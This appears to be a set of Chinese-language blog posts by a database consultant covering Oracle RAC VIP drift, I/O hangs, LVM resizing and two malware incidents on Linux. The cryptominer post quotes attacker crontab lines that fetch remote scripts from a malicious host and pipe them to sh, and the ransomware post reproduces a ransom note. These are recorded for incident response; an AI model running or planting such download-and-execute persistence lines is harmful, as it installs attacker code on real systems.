udev_start导致vip漂移(参见情况:rac在线加盘操作引起)

联系:手机/微信(+86 17813235971) QQ(107644445)QQ咨询惜分飞

标题:udev_start导致vip漂移(参见情况:rac在线加盘操作引起)

作者:惜分飞©版权所有[未经本人同意,不得以任何形式转载,否则有进一步追究法律责任的权利.]

客户对asm进行扩容,执行udev_start命令之后,所有的vip全部漂移,业务全部中断
20230513203654


优先恢复业务,把所有vip漂移回来

[grid@rac3 ~]$  srvctl relocate vip -i rac1 -n rac1 -f -v
VIP was relocated successfully.
[grid@rac3 ~]$  srvctl relocate vip -i rac2 -n rac2 -f -v
VIP was relocated successfully.
[grid@rac3 ~]$  srvctl relocate vip -i rac3 -n rac3 -f -v
VIP was relocated successfully.
[grid@rac3 ~]$  srvctl relocate vip -i rac4 -n rac4 -f -v
VIP was relocated successfully.

vip恢复正常,业务也恢复正常
20230513203712


出现该问题的原因是由于udev_start命令引起网卡瞬间中断,从而使得vip发生漂移
20230513212316

查看ifcfg配置文件
20230513212440

引起该问题的原因是udev对网卡进行了操作,从而引起该问题,处理建议在对应的ifcfg文件中加上 HOTPLUG=”no” (pulbic,private和其他需要关注的网络)
参考:Network interface going down when dynamically adding disks to storage using udev in RHEL 6 (Doc ID 1569028.1)
20230513213713

echo 0 > /proc/sys/kernel/hung_task_timeout_secs disables this message

联系:手机/微信(+86 17813235971) QQ(107644445)QQ咨询惜分飞

标题:echo 0 > /proc/sys/kernel/hung_task_timeout_secs disables this message

作者:惜分飞©版权所有[未经本人同意,不得以任何形式转载,否则有进一步追究法律责任的权利.]

客户反馈数据库无法登录,系统ssh也无法登录,但是可以ping通,通过sqlplus sys/pwd@tns as sysdba方式登录成功,直接对数据库进行shutdown abort操作,然后系统可以正常ssh登录.通过分析发现一些io问题

系统messages日志报错
20230430084031


默认情况下, Linux会最多使用40%[根据系统配置决定]的可用内存作为文件系统缓存。当超过这个阈值后,文件系统会把将缓存中的内存全部写入磁盘, 导致后续的IO请求都是同步的。将缓存写入磁盘时,有一个默认120秒的超时时间。 出现上面的问题的原因是IO子系统的处理速度不够快,不能在120秒将缓存中的数据全部写入磁盘。IO系统响应缓慢,导致越来越多的请求堆积,最终系统内存全部被占用,导致系统失去响应。

检查系统io情况
20230430084643

磁盘在io请求很小的情况下busy 100%,属于不正常情况,让客户安排人检查硬盘情况
20230430084802

发现raid 5中有一块磁盘异常从而引起性能下降,客户安排人员换盘之后,系统恢复正常.

调整系统参数缓解
对于linux系统文件系统缓存可以进行调整参数vm.dirty_background_ratio和vm.dirty_ratio为适当值,比如

vm.dirty_background_ratio = 5
vm.dirty_ratio = 10

linux系统文件加密勒索病毒

联系:手机/微信(+86 17813235971) QQ(107644445)QQ咨询惜分飞

标题:linux系统文件加密勒索病毒

作者:惜分飞©版权所有[未经本人同意,不得以任何形式转载,否则有进一步追究法律责任的权利.]

昨天晚上,一客户联系我们,其linux的dg备库上发现病毒,让我给看看,登录上去之后发现异常进程
import pty;pty.spawn


进一步检查发现很多文件被加密成.locked1
locked1

对应的README.html内容

[yyapp@ncapp ~]$ cat README1.html 
contact email: service@hellowinter.online, prepare 0.12btc, 
if you can't contact my email, please contact some data recovery  company(suggest taobao.com), 
may they can contact to me .
your person id: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
ZfbR1XwXHXlqcyIJJzubxAucYrSaSG6M
[yyapp@ncapp ~]

通过以上信息基本上确认一种类似win的加密勒索病毒,经过分区确认只是加密了yyapp用户有读写权限的数据,其他数据用户数据没有被加密(这个机器是应用服务器,并且做了oracle的备库[没有被加密]),因此基于目前的情况对客户没有太大损失,直接重装应用配置dg即可.通过进一步分区,确认该病毒是通过应用漏洞入侵,建议客户进行应用和系统安全加固.
温馨提示:以前的勒索病毒绝大部分都集中在win平台上,现在可能linux平台也会收到很大影响,建议各位对各自系统进行安全加固,系统和应用打上漏洞补丁和网络安全防护

记录一种挖矿病毒现象

联系:手机/微信(+86 17813235971) QQ(107644445)QQ咨询惜分飞

标题:记录一种挖矿病毒现象

作者:惜分飞©版权所有[未经本人同意,不得以任何形式转载,否则有进一步追究法律责任的权利.]

最近有朋友遇到linux系统不行被注入了挖矿病毒,大概记录下存在问题
在/etc/passwd文件中有x用户

x:x:2001:2001::/home/x:/bin/bash

在root和x用户的crontab中有恶意执行任务

[root@localhost tmp]# crontab -u x -l
* * * * * /var/tmp/.systemd/.systemd
* * * * * /var/tmp/.update/.update
*/10 * * * * curl -fsSL http://pw.pwndns.pw/update.sh | sh -s uc
@reboot curl -fsSL http://pw.pwndns.pw/reboot.sh | sh
[root@localhost tmp]# crontab -l
* * * * * /var/tmp/.systemd/.systemd
*/5 * * * * curl -fsSL http://pw.pwndns.pw/root.sh | sh

在/var/tmp下面有.systemd和.update文件夹

[root@localhost tmp]# ls -lart /var/tmp/
drwxr-xr-x   2 x    tape   37 Jul 27 21:49 .systemd
drwxr-xr-x   2 x    tape   36 Jul 27 21:49 .update

lvm缩小xfs文件系统空间和对swap进行扩容操作

联系:手机/微信(+86 17813235971) QQ(107644445)QQ咨询惜分飞

标题:lvm缩小xfs文件系统空间和对swap进行扩容操作

作者:惜分飞©版权所有[未经本人同意,不得以任何形式转载,否则有进一步追究法律责任的权利.]

xfs文件系统lvm缩小空间操作(/home从100G减小到80G)

[root@xifenfei ~]# df -h
Filesystem             Size  Used Avail Use% Mounted on
/dev/mapper/rhel-root  449G  6.0G  443G   2% /
devtmpfs                63G     0   63G   0% /dev
tmpfs                   63G     0   63G   0% /dev/shm
tmpfs                   63G   20M   63G   1% /run
tmpfs                   63G     0   63G   0% /sys/fs/cgroup
/dev/mapper/rhel-home  100G   38M  100G   1% /home
/dev/sda2             1014M  165M  850M  17% /boot
/dev/sda1              200M  9.8M  191M   5% /boot/efi
tmpfs                   13G  4.0K   13G   1% /run/user/42
tmpfs                   13G   32K   13G   1% /run/user/0
/dev/sr0               4.2G  4.2G     0 100% /media

[root@xifenfei u01]# xfsdump -f /home.xfsdump /home
xfsdump: using file dump (drive_simple) strategy
xfsdump: version 3.1.7 (dump format 3.0) - type ^C for status and control

 ============================= dump label dialog ==============================

please enter label for this dump session (timeout in 300 sec)
 -> home
session label entered: "tar czvf /home.tar.gz /home
home"

 --------------------------------- end dialog ---------------------------------

xfsdump: level 0 dump of xifenfei:/home
xfsdump: dump date: Fri Jun 25 11:37:13 2021
xfsdump: session id: 4d75008e-9927-417d-9722-52d13bb89eb0
xfsdump: session label: 
xfsdump: ino map phase 1: constructing initial dump list
xfsdump: ino map phase 2: skipping (no pruning necessary)
xfsdump: ino map phase 3: skipping (only one dump stream)
xfsdump: ino map construction complete
xfsdump: estimated dump size: 4828224 bytes
xfsdump: /var/lib/xfsdump/inventory created

 ============================= media label dialog =============================

please enter label for media in drive 0 (timeout in 300 sec)
 -> home
media label entered: "home"

 --------------------------------- end dialog ---------------------------------

xfsdump: creating dump session media file 0 (media 0, file 0)
xfsdump: dumping ino map
xfsdump: dumping directories
xfsdump: dumping non-directory files
xfsdump: ending media file
xfsdump: media file size 4732672 bytes
xfsdump: dump size (non-dir files) : 4588480 bytes
xfsdump: dump complete: 4 seconds elapsed
xfsdump: Dump Summary:
xfsdump:   stream 0 /home.xfsdump OK (success)
xfsdump: Dump Status: SUCCESS

[root@xifenfei u01]# umount /home
[root@xifenfei u01]# lvreduce -L 80G /dev/mapper/rhel-home
  WARNING: Reducing active logical volume to 80.00 GiB.
  THIS MAY DESTROY YOUR DATA (filesystem etc.)
Do you really want to reduce rhel/home? [y/n]: y
  Size of logical volume rhel/home changed from 100.00 GiB (25600 extents) to 80.00 GiB (20480 extents).
  Logical volume rhel/home successfully resized.

[root@xifenfei u01]# mkfs.xfs -f /dev/mapper/rhel-home
meta-data=/dev/mapper/rhel-home  isize=512    agcount=16, agsize=1310720 blks
         =                       sectsz=512   attr=2, projid32bit=1
         =                       crc=1        finobt=0, sparse=0
data     =                       bsize=4096   blocks=20971520, imaxpct=25
         =                       sunit=64     swidth=64 blks
naming   =version 2              bsize=4096   ascii-ci=0 ftype=1
log      =internal log           bsize=4096   blocks=10240, version=2
         =                       sectsz=512   sunit=64 blks, lazy-count=1
realtime =none                   extsz=4096   blocks=0, rtextents=0
[root@xifenfei u01]# mount /home
xfsrestore -f /home.xfsdump /home
[root@xifenfei u01]# xfsrestore -f /home.xfsdump /home
xfsrestore: using file dump (drive_simple) strategy
xfsrestore: version 3.1.7 (dump format 3.0) - type ^C for status and control
xfsrestore: searching media for dump
xfsrestore: examining media file 0
xfsrestore: dump description: 
xfsrestore: hostname: xifenfei
xfsrestore: mount point: /home
xfsrestore: volume: /dev/mapper/rhel-home
xfsrestore: session time: Fri Jun 25 11:37:13 2021
xfsrestore: level: 0
xfsrestore: session label: "tar czvf /home.tar.gz /home
home"
xfsrestore: media label: "home"
xfsrestore: file system id: b996cff9-332b-4c07-96e1-8335a1f23627
xfsrestore: session id: 4d75008e-9927-417d-9722-52d13bb89eb0
xfsrestore: media id: 6094b9b5-a45f-4638-a0e2-c1b982ead67b
xfsrestore: using online session inventory
xfsrestore: searching media for directory dump
xfsrestore: reading directories
xfsrestore: 119 directories and 188 entries processed
xfsrestore: directory post-processing
xfsrestore: restoring non-directory files
xfsrestore: restore complete: 0 seconds elapsed
xfsrestore: Restore Summary:
xfsrestore:   stream 0 /home.xfsdump OK (success)
xfsrestore: Restore Status: SUCCESS
[root@xifenfei u01]# df -h
Filesystem             Size  Used Avail Use% Mounted on
/dev/mapper/rhel-root  449G   14G  435G   4% /
devtmpfs                63G     0   63G   0% /dev
tmpfs                   63G   20M   63G   1% /run
tmpfs                   63G     0   63G   0% /sys/fs/cgroup
/dev/sda2             1014M  165M  850M  17% /boot
/dev/sda1              200M  9.8M  191M   5% /boot/efi
tmpfs                   13G  4.0K   13G   1% /run/user/42
tmpfs                   13G   28K   13G   1% /run/user/0
/dev/sr0               4.2G  4.2G     0 100% /media
tmpfs                   63G     0   63G   0% /dev/shm
/dev/mapper/rhel-home   80G   38M   80G   1% /home

xfs系统的lvm无法直接缩小空间,只能是通过xfsdump /home内容,然后lvm缩小空间重做xfs文件系统,再使用xfsdump还原

lvm扩容swap空间(swap从8G扩大到16G)

[root@xifenfei home]# free -m
              total        used        free      shared  buff/cache   available
Mem:         128355       86907       26110         274       15338       37632
Swap:         8192           0        8192
[root@xifenfei home]# lvextend -L 16GB /dev/rhel/swap
  Size of logical volume rhel/swap changed from 8.00 GiB (2048 extents) to 16.00 GiB (4096 extents).
  Logical volume rhel/swap successfully resized.
[root@xifenfei home]# sync;sync
[root@xifenfei home]# swapoff /dev/rhel/swap
mkswap /dev/rhel/swap 
[root@xifenfei home]# mkswap /dev/rhel/swap 
mkswap: /dev/rhel/swap: warning: wiping old swap signature.
swapon /dev/rhel/swap Setting up swapspace version 1, size = 16777212 KiB
no label, UUID=8d79ccf4-1796-49c9-968d-23abb67bc6eb
[root@xifenfei home]# swapon /dev/rhel/swap 
[root@xifenfei home]# free -m
              total        used        free      shared  buff/cache   available
Mem:         128355       86907       26110         274       15338       37632
Swap:         16383           0       16383